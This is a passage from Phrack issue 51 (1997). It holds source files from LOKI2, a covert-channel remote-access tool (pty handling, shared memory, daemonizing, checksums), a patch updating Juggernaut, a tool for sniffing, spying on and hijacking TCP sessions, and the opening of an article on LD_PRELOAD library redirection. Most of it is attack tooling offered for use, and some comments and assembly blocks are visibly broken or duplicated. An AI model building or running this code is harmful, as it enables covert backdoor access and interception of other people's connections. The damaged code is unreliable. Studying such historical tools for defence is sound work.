FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */

FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */

FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */

FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */

FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

/* Round 2 */

GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */

GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */

GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */

GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */

GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */

GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */

GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */

GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */

GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */

GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */

GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */

/*

Rivest Page 13]

RFC 1321 MD5 Message‑Digest Algorithm April 1992 */

GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */

GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */

GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */

GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */

GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

/* Round 3 */

HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */

HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */

HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */

HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */

HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */

HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */

HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */

HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */

HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */

HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */

HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */

HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */

HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */

HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */

HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */

HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

/* Round 4 */

II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */

II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */

II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */

II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */

II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */

II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */

II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */

II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */

II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */

II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */

II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */

II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */

II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */

II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */

II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */

II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

state[0] += a;

state[1] += b;

state[2] += c;

state[3] += d;

/* Zeroize sensitive information.

Rivest Page 14]

RFC 1321 MD5 Message‑Digest Algorithm April 1992

*/

MD5_memset ((POINTER)x, 0, sizeof (x));

}

/* Encodes input (UINT4) into output (unsigned char). Assumes len is

a multiple of 4.

*/

static void Encode (output, input, len)

unsigned char *output;

UINT4 *input;

unsigned int len;

{

unsigned int i, j;

for (i = 0, j = 0; j < len; i++, j += 4) {

output[j] = (unsigned char)(input[i] & 0xff);

output[j+1] = (unsigned char)((input[i] >> 8) & 0xff); output[j+2] = (unsigned char)((input[i] >> 16) & 0xff); output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);

}

}

/* Decodes input (unsigned char) into output (UINT4). Assumes len is

a multiple of 4.

*/

static void Decode (output, input, len)

UINT4 *output;

unsigned char *input;

unsigned int len;

{

unsigned int i, j;

for (i = 0, j = 0; j < len; i++, j += 4)

output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) | (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);

}

/* Note: Replace "for loop" with standard memcpy if possible.

*/

static void MD5_memcpy (output, input, len)

POINTER output;

POINTER input;

unsigned int len;

{

unsigned int i;

for (i = 0; i < len; i++)

/*

Rivest Page 15]

RFC 1321 MD5 Message‑Digest Algorithm April 1992 */

output[i] = input[i];

}

/* Note: Replace "for loop" with standard memset if possible.

*/

static void MD5_memset (output, value, len)

POINTER output;

int value;

unsigned int len;

{

unsigned int i;

for (i = 0; i < len; i++)

((char *)output)[i] = (char)value;

}

<‑‑> md5/md5c.c

<++> L2/pty.c

/*

* LOKI

*

* [ pty.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

* All the PTY code ganked from Stevens.

*/

#ifdef PTY

#include "loki.h"

extern int verbose;

/*

* Open a pty and establish it as the session leader with a

* controlling terminal

*/

pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize) {

int fdm, fds;

pid_t pid;

char pts_name[20];

if ((fdm = ptym_open(pts_name)) < 0)

err_exit(1, 0, verbose, "\nCannot open master pty\n");

if (slavename) strcpy(slavename, pts_name);

if ((pid = fork()) < 0) return (‑1);

else if (!pid)

{

if (setsid() < 0)

err_exit(1, 1, verbose, "\nCannot set session");

if ((fds = ptys_open(fdm, pts_name)) < 0) err_exit(1, 0, verbose, "\nCannot open slave pty\n"); close(fdm);

#if defined(TIOCSCTTY) && !defined(CIBAUD)

if (ioctl(fds, TIOCSCTTY,(char *)0) < 0) err_exit(1, 1, verbose, "\nioctl");

#endif

set termios/winsize */

if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");

/* slave becomes stdin/stdout/stderr */

if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0) err_exit(1, 1, verbose, "\nioctl");

if (dup2(fds, STDIN_FILENO) != STDIN_FILENO) err_exit(1, 0, verbose, "\ndup\n");

if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO) err_exit(1, 0, verbose, "\ndup\n");

if (dup2(fds, STDERR_FILENO) != STDIN_FILENO) err_exit(1, 0, verbose, "\ndup\n");

if (fds > STDERR_FILENO) close(fds);

return (0); /* return child */

}

else

{

*fdmp = fdm; /* Return fd of master */

return (pid); /* parent returns PID of child */

}

}

/*

* Determine which psuedo terminals are available and try to open one */

int ptym_open(char *pts_name)

{

int fdm = 0; /* List of ptys to run through */

char *p1 = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";

strcpy(pts_name, "/dev/pty00"); /* pty device name template */

for (; *p1; p1++)

{

pts_name[8] = *p1;

for (; *p2; p2++)

{

pts_name[9] = *p2;

if ((fdm = open(pts_name, O_RDWR)) < 0)

{

device doesn't exist */

if (errno == ENOENT) return (‑1);

else continue;

}

pts_name[5] = 't'; /* pty ‑> tty */

return (fdm); /* master file descriptor */

}

}

return (‑1); /* control falls here if no pty

devices are available

}

/*

* Open the slave device and set ownership and permissions

*/

int ptys_open(int fdm, char *pts_name)

{

struct group *gp;

int gid = 0, fds = 0;

if ((gp = getgrnam("tty"))) gid = (gp ‑> gr_gid);

else gid = ‑1; /* Group tty is not in the group file */

chown(pts_name, getuid(), gid); /* make it ours */

set permissions ‑rw‑‑w‑‑‑‑ */

chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);

if ((fds = open(pts_name, O_RDWR)) < 0)

{

close(fdm); /* Cannot open fds */

return (‑1);

}

return (fds);

}

#endif

/* EOF */

<‑‑> pty.c

<++> L2/shm.c

/*

* LOKI2

*

* [ shm.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

#include "client_db.h"

#include "shm.h"

extern struct loki rdg;

extern int verbose;

extern int destroy_shm;

struct client_list *client = 0;

int semid;

#ifdef STRONG_CRYPTO

extern short ivec_salt;

extern u_char user_key[BF_KEYSIZE];

#endif

/*

* Prepare shared memory and semaphore

*/

void prep_shm()

{

key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */

key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */

int shmid, len = 0, i = 0;

len = sizeof(struct client_list) * MAX_CLIENT;

Request a shared memory segment */

if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) err_exit(1, 1, verbose, "[fatal] shared mem segment request error");

Get SET_SIZE semaphore to perform

shared memory locking with

if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");

Attach pointer to the shared memory

segment

client = (struct client_list *) shmat(shmid, NULL, (int)NULL);

clear the database */

for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i])); }

/*

* Locks the semaphore so the caller can access the shared memory segment. * This is an atomic operation.

*/

void locks()

{

struct sembuf lock[2] =

{

{0, 0, 0},

{0, 1, SEM_UNDO}

};

if (semop(semid, &lock[0], 2) < 0)

err_exit(1, 1, verbose, "[fatal] could not lock memory"); }

/*

* Unlocks the semaphore so the caller can access the shared memory segment. * This is an atomic operation.

*/

void ulocks()

{

struct sembuf ulock[1] =

{

{ 0, ‑1, (IPC_NOWAIT | SEM_UNDO) }

};

if (semop(semid, &ulock[0], 1) < 0)

err_exit(1, 1, verbose, "[fatal] could not unlock memory"); }

/*

* Release the shared memory segment.

*/

void dump_shm()

{

locks();

if ((shmdt((u_char *)client)) == ‑1)

err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");

if (destroy_shm == OK)

{

if ((shmctl(semid, IPC_RMID, NULL)) == ‑1) err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");

if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == ‑1) err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore"); }

ulocks();

}

/* EOF */

<‑‑> shm.c

<++> L2/shm.h

/*

* LOKI

*

* shm header file

*

* 1996/7 Guild Corporation Productions [daemon9]

*/

#define SHM_KEY 242 /* Shared memory key */

#define SEM_KEY 424 /* Semaphore key */

#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */

#define SET_SIZE 1

void prep_shm(); /* prepare shared mem segment */

void locks(); /* lock shared memory */

void ulocks(); /* unlock shared memory */

void dump_shm(); /* release shared memory */

<‑‑> shm.h

<++> L2/surplus.c

/*

* LOKI2

*

* [ surplus.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

extern int verbose;

extern jmp_buf env;

#define WORKING_ROOT "/tmp" /* Sometimes we make mistakes.

Sometimes we execute commands we

didn't mean to. `rm ‑rf` is much

easier to palate from /tmp

/*

* Domain names / dotted‑decimals ‑‑> network byte order.

*/

u_long name_resolve(char *hostname)

{

struct in_addr addr;

struct hostent *hostEnt;

name lookup failure */

if ((addr.s_addr = inet_addr(hostname)) == ‑1)

{

if (!(hostEnt = gethostbyname(hostname))) err_exit(1, 1, verbose, "\n[fatal] name lookup failed"); bcopy(hostEnt‑>h_addr, (char *)&addr.s_addr, hostEnt ‑> h_length); }

return (addr.s_addr);

}

/*

* Network byte order ‑‑> dotted‑decimals.

*/

char *host_lookup(u_long in)

{

char hostname[BUFSIZ] = {0};

struct in_addr addr;

addr.s_addr = in;

strcpy(hostname, inet_ntoa(addr));

return (strdup(hostname));

}

#ifdef X86FAST_CHECK

/*

* Fast x86 based assembly implementation of the IP checksum routine. */

u_short i_check(u_short *buff, int len)

{

u_long sum = 0;

if (len > 3)

{

__asm__("clc\n"

"1:\t"

"lodsl\n\t"

"adcl %%eax, %%ebx\n\t"

"loop 1b\n\t"

"adcl $0, %%ebx\n\t"

"movl %%ebx, %%eax\n\t"

"shrl $16, %%eax\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum) , "=S" (buff)

: "0" (sum), "c" (len >> 2) ,"1" (buff)

: "ax", "cx", "si", "bx");

}

if (len & 2)

{

__asm__("lodsw\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum) , "=S" (buff)

: "0" (sum), "c" (len >> 2) ,"1" (buff)

: "ax", "cx", "si", "bx");

}

if (len & 2)

{

__asm__("lodsw\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum), "=S" (buff)

: "0" (sum), "1" (buff)

: "bx", "ax", "si");

}

if (len & 1)

{

__asm__("lodsb\n\t"

"movb $0, %%ah\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum), "=S" (buff)

: "0" (sum), "1" (buff)

: "bx", "ax", "si");

}

if (len & 1)

{

__asm__("lodsb\n\t"

"movb $0, %%ah\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum), "=S" (buff)

: "0" (sum), "1" (buff)

: "bx", "ax", "si");

}

sum = ~sum;

return (sum & 0xffff);

}

#else

/*

* Standard IP Family checksum routine.

*/

u_short i_check(u_short *ptr, int nbytes)

{

register long sum = 0;

u_short oddbyte = 0;

register u_short answer = 0;

while (nbytes > 1)

{

sum += *ptr++;

nbytes ‑= 2;

}

if (nbytes == 1)

{

oddbyte = 0;

*((u_char *)&oddbyte) =* (u_char *)ptr;

sum += oddbyte;

}

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

#endif /* X86FAST_CHECK */

/*

* Generic exit with error function. If checkerrno is true, errno should * be looked at and we call perror, otherwise, just dump to stderr. * Additionally, we have the option of suppressing the error messages by * zeroing verbose.

*/

void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr) {

if (verbalkint)

{

if (checkerrno) perror(errstr);

else fprintf(stderr, errstr);

}

clean_exit(exitstatus);

}

/*

* SIGALRM signal handler. We reset the alarm timer and default signal * signal handler, then restore our stack frame from the point that * setjmp() was called.

*/

void catch_timeout(int signo)

{

alarm(0); /* reset alarm timer */

reset SIGALRM, our handler will

be again set after we longjmp()

if (signal(SIGALRM, catch_timeout) == SIG_ERR) err_exit(1, 1, verbose, L_MSG_SIGALRM);

restore environment */

longjmp(env, 1);

}

/*

* Clean exit handler

*/

void clean_exit(int status)

{

extern int tsock;

extern int ripsock;

close(ripsock);

close(tsock);

exit(status);

}

/*

* Keep child proccesses from zombiing on us

*/

void reaper(int signo)

{

int sys = 0;

wait(&sys); /* get child's exit status */

/* re‑establish signal handler */

if (signal(SIGCHLD, reaper) == SIG_ERR)

err_exit(1, 1, verbose, L_MSG_SIGCHLD);

}

/*

* Simple daemonizing procedure.

*/

void shadow()

{

extern int errno;

int fd = 0;

close(STDIN_FILENO); /* We no longer need STDIN */

if (!verbose)

{ /* Get rid of these also */

close(STDOUT_FILENO);

close(STDERR_FILENO);

}

/* Ignore read/write signals from/to

* the controlling terminal.

*/

signal(SIGTTOU, SIG_IGN);

signal(SIGTTIN, SIG_IGN);

signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */

switch (fork())

{

case 0: /* child continues */

break;

default: /* parent exits */

clean_exit(0);

case ‑1: /* fork error */

err_exit(1, 1, verbose, "[fatal] Cannot go daemon"); }

/* Create a new session and set this

* process to be the group leader.

*/

if (setsid() == ‑1)

err_exit(1, 1, verbose, "[fatal] Cannot create session");

/* Detach from controlling terminal */

if ((fd = open("/dev/tty", O_RDWR)) >= 0)

{

if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == ‑1) err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal"); close(fd);

}

errno = 0;

chdir(WORKING_ROOT); /* Working dir should be the root */

umask(0); /* File creation mask should be 0 */

}

#ifdef DEBUG

/*

* Bulk of this function taken from Stevens APUE...

* got this from Mooks (LTC)

*/

void fd_status(int fd, int newline)

{

int accmode = 0, val = 0;

val = fcntl(fd, F_GETFL, 0);

#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT) accmode = val & O_ACCMODE;

#else /* pyramid */

accmode = val; /* kludge */

#endif /* pyramid */

if (accmode == O_RDONLY) fprintf(stderr, " read only"); else if (accmode == O_WRONLY) fprintf(stderr, " write only"); else if (accmode == O_RDWR) fprintf(stderr, " read write"); if (val & O_APPEND) fprintf(stderr, " append"); if (val & O_NONBLOCK) fprintf(stderr, " nonblocking"); else fprintf(stderr, " blocking"); #if defined(O_SYNC)

if (val & O_SYNC) fprintf(stderr, " sync writes"); #else

#if defined(O_FSYNC)

if (val & O_FSYNC) fprintf(stderr, " sync writes"); #endif /* O_FSYNC */

#endif /* O_SYNC */

if (newline) fprintf(stderr, "\r\n");

}

#endif /* DEBUG */

/* EOF */

<‑‑> surplus.c

‑‑‑‑[ EOF

Juggernaut 1.0 - 1.2 patchfile

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 07 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Juggernaut 1.2 update

‑‑‑‑‑‑‑‑[ route <route@infonexus.com>

Well, Juggernaut went out, and the bug reports came in... Juggernaut, the robust network tool for Linux, originally went out in Phrack 50. This patchfile updates Juggernaut 1.0 (the version in P50‑06) to version 1.2. It offers the following:

‑ Nonfunctional things like nomenclature and cosmetics.

‑ The IFF_PROMISC flag is unset upon exit. Previously the program would leave the network interface in promiscuous mode.

‑ We no longer are interested in HTTP connections (unless ‑DGREED is defined).

‑ Connection Spying now works properly.

‑ Connection RSTing and Automated connection RSTing now work better.

Please keep the bug reports coming in!

To extract this patchfile, use the included extraction utility to remove the patchfile from the article. Then simply copy it into the Juggernaut directory and `patch < juggernaut_1.0‑1.2_patch`

<++> juggernaut_1.0‑1.2_patch

‑‑‑ NumberOneCrush/main.cThu May 8 15:37:02 1997

+++ NumberOneCrush/main.cFri Jun 6 01:33:42 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b2

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

@@ ‑42,7 +42,7 @@

#define DEVICE "eth0"

#define LOGFILE "./juggernaut.log.spy"

‑char version[]="1.0\0";

+char version[]="1.2";

int sigsentry=1; /* Signal sentry */

int ripsock=0; /* RIP socket */

int linksock=0; /* SOCK PACKET socket */

@@ ‑96,8 +96,8 @@

char buf[MINIBUF]={0};

char token[2*MINIBUF]={0};

int c;

‑

‑ if(geteuid()||getuid()){ /* r00t? */

+

+ if(geteuid()||getuid()){ /* r00t? */

fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0);

}

@@ ‑279,7 +279,7 @@

fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue;

‑ if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); + if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n"); else break;

}

fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >"); @@ ‑324,7 +324,7 @@

fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue;

‑if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); +if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n"); else break;

}

signal(SIGINT,convulsion);

@@ ‑440,7 +440,7 @@

fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

‑ fprintf(stderr,"\nJuggernaut compiled with the following options:\n"); + fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__); #ifdef MULTI_P

fprintf(stderr," Multi‑processing\n");

#endif

@@ ‑501,7 +501,7 @@

fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue;

‑ if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); + if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n"); else break;

}

if(ntohs(target‑>dport)!=23){

@@ ‑547,7 +547,7 @@

fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue;

‑ if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); + if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n"); else break;

}

if(ntohs(target‑>dport)!=23){

‑‑‑ NumberOneCrush/mem.cThu May 8 15:37:02 1997

+++ NumberOneCrush/mem.cFri Jun 6 01:33:09 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b1

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

‑‑‑ NumberOneCrush/menu.cThu May 8 15:37:02 1997

+++ NumberOneCrush/menu.cFri Jun 6 01:33:32 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b2

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

‑‑‑ NumberOneCrush/net.cThu May 8 15:37:02 1997

+++ NumberOneCrush/net.cFri Jun 6 01:32:56 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b1

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

@@ ‑92,13 +92,14 @@

* mode.

*/

‑int tap(device)

+int tap(device,mode)

char *device;

+int mode;

{

int fd;

struct ifreq ifr; /* Link‑layer interface request structure */

‑ /* Ethernet code for IP 0x800==ETH_P_IP */

+ /* Ethernet code for IP 0x0800==ETH_P_IP */

if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]"); exit(1);

@@ ‑109,16 +110,22 @@

close(fd);

exit(1);

}

‑ ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */

+ if(!mode)ifr.ifr_flags^=IFF_PROMISC; /* Unset promiscuous mode */

+ else ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */

if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */

‑ if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]"); + if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]"); close(fd);

exit(1);

}

‑ return(fd);

+ if(!mode){

+ close(fd);

+ return(0);

+ }

+ else return(fd);

}

+

/*

* Gimme a raw‑IP socket. Use of IP_HDRINCL is automatic with 2.0.x * kernels. Not sure about 1.2.x

@@ ‑197,7 +204,6 @@

case 22:

case 23:

case 25:

‑ case 80:

case 513:

case 6667: if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); @@ ‑235,7 +241,6 @@

case 22:

case 23:

case 25:

‑ case 80:

case 513:

case 6667: if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); @@ ‑261,7 +266,7 @@

void dumpp(char *,int,FILE *);

extern int sigsentry;

‑ int tlinksock=tap(DEVICE);/* Spying tap. XXX‑ Really dumb way to do this... */

+ int tlinksock=tap(DEVICE,1); /* Spying tap. XXX‑ Really dumb way to do this... */

time_t tp;

ALIGNNETPOINTERS();

@@ ‑272,20 +277,14 @@

time(&tp);

fprintf(fp,": Log started:\t\t%s‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n",ctime(&tp));

}

‑ /* NO alaram timeout here. SIGINT kills our spy session */

‑ while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP)if(iphp‑>saddr==target‑>daddr&&tcphp‑>source==target‑>dport)dumpp(epack.payload‑2,htons(iphp‑>tot_len)‑sizeof(epack.ip)‑sizeof(epack.tcp),fp); + /* NO alarm timeout here. SIGINT kills our spy session */

+ while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP)if(iphp‑>saddr==target‑>daddr && iphp‑>daddr==target‑>saddr && tcphp‑>dest==target‑>sport)dumpp(epack.payload‑2,htons(iphp‑>tot_len)‑sizeof(epack.ip)‑sizeof(epac

k

+

+.tcp),fp);

if(fp){

fprintf(fp,"\n‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n: Juggernaut connection spy log trailer\n: %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup(target‑>daddr),ntohs(target‑>dport

)

‑

‑

‑

‑

‑

‑

‑

‑

);

time(&tp);

fprintf(fp,": Log ended:\t\t%s‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n",ctime(&tp));

@@ ‑347,8 +346,8 @@

unsigned short tlen;

}*ppheader;

‑ static int moot=0;

‑ int tlinksock=tap(DEVICE);

+ int moot=0;

+ int tlinksock=tap(DEVICE,1);

ALIGNNETPOINTERS();

@@ ‑451,7 +450,7 @@

extern int ripsock;

extern int acrstpid;

char *tempBuf=0;

‑ int tlinksock=tap(DEVICE);

+ int tlinksock=tap(DEVICE,1);

switch((acrstpid=fork())){ /* Drop a child to backround, return the

parent to continue */

@@ ‑570,7 +569,7 @@

extern int netreadtimeout;

static int len;

char *tempBuf;

‑ int tlinksock=tap(DEVICE);

+ int tlinksock=tap(DEVICE,1);

ALIGNNETPOINTERS();

@@ ‑675,7 +674,7 @@

extern int netreadtimeout;

extern int sigsentry;

static int len;

‑ int tlinksock=tap(DEVICE);

+ int tlinksock=tap(DEVICE,1);

ALIGNNETPOINTERS();

@@ ‑799,7 +798,7 @@

int grabflag=0; /* Time to grab some packets */

unsigned long targetsourceip=0;

unsigned short targetsourceport=0;

‑ int tlinksock=tap(DEVICE);

+ int tlinksock=tap(DEVICE,1);

if(!(fp=fopen(SNIFLOG,"a+"))){ /* Log to file */

if(verbosity){

‑‑‑ NumberOneCrush/prometheus.cThu May 8 15:37:03 1997

+++ NumberOneCrush/prometheus.cFri Jun 6 01:33:17 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b2

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

‑‑‑ NumberOneCrush/surplus.cThu May 8 15:37:03 1997

+++ NumberOneCrush/surplus.cFri Jun 6 01:33:03 1997

@@ ‑1,7 +1,7 @@

/*

*

* Juggernaut

‑ * Version b2

+ * Version 1.2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

@@ ‑29,6 +29,7 @@

#define HELPFILE "./ClothLikeGauze/.help"

#define FBUFSIZE 80

#define MINIBUF 10

+#define DEVICE "eth0"

extern int verbosity;

@@ ‑346,6 +347,7 @@

void cleanexit(){

void powerdown();

+ int tap(char *,int);

extern int ripsock;

extern int hpid;

@@ ‑353,6 +355,7 @@

close(ripsock);

powerdown();

+ tap(DEVICE,0); /* Unset promisc mode on the interface */

if(kill(hpid,SIGUSR1))if(verbosity){ /* Send signal to the hunter */

perror("(cleanexit) Could not signal hunter"); fprintf(stderr,"[cr]");

<‑‑>

‑‑‑‑[ EOF

Shared Library Redirection

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 08 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Shared Library Redirection Techniques

‑‑‑‑‑‑‑‑[ halflife <halflife@infonexus.com>

This article discusses shared libraries ‑ in particular, a method for doing shared library based function call redirection for multiple purposes. During the process of writing some code, some bugs were discovered in a few shared library implementations, these are discussed as well.

First off, a short description of shared libraries is in order. Shared libraries are designed to let you share code segments among programs. In this way, memory usage is reduced significantly. Since code segments generally are not modified, this sharing scheme works rather well. Obviously for this to work, the code segments have to be location independent or PC indepenant (ip independant for the x86 programmers in the audience).

Now, since the telnetd environment variable hole, most of you know there are several environment variables that can be used to specify alternate shared libraries. Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD; this article strictly deals with the latter. Additionally, on Digital UNIX and Irix, this variable is called _RLD_LIST and has a slightly different syntax.

Sun's shared libraries came with an API to let users load and call shared library functions; most other vendors have cloned the interface. Oddly enough, our code will not work in SunOS, although it will in Solaris2. Anyhow, the first function to be concerned with is called dlopen(). This function basically loads the shared library and mmap()s it into memory if it is not already loaded. The first argument it accepts, is a pointer to the filename to be loaded, the second argument should usually be 1 (although some platforms seem to support other options). The manpage provides more details. A handle is returned on success, you can call dlerror() to determine if a failure occurred.

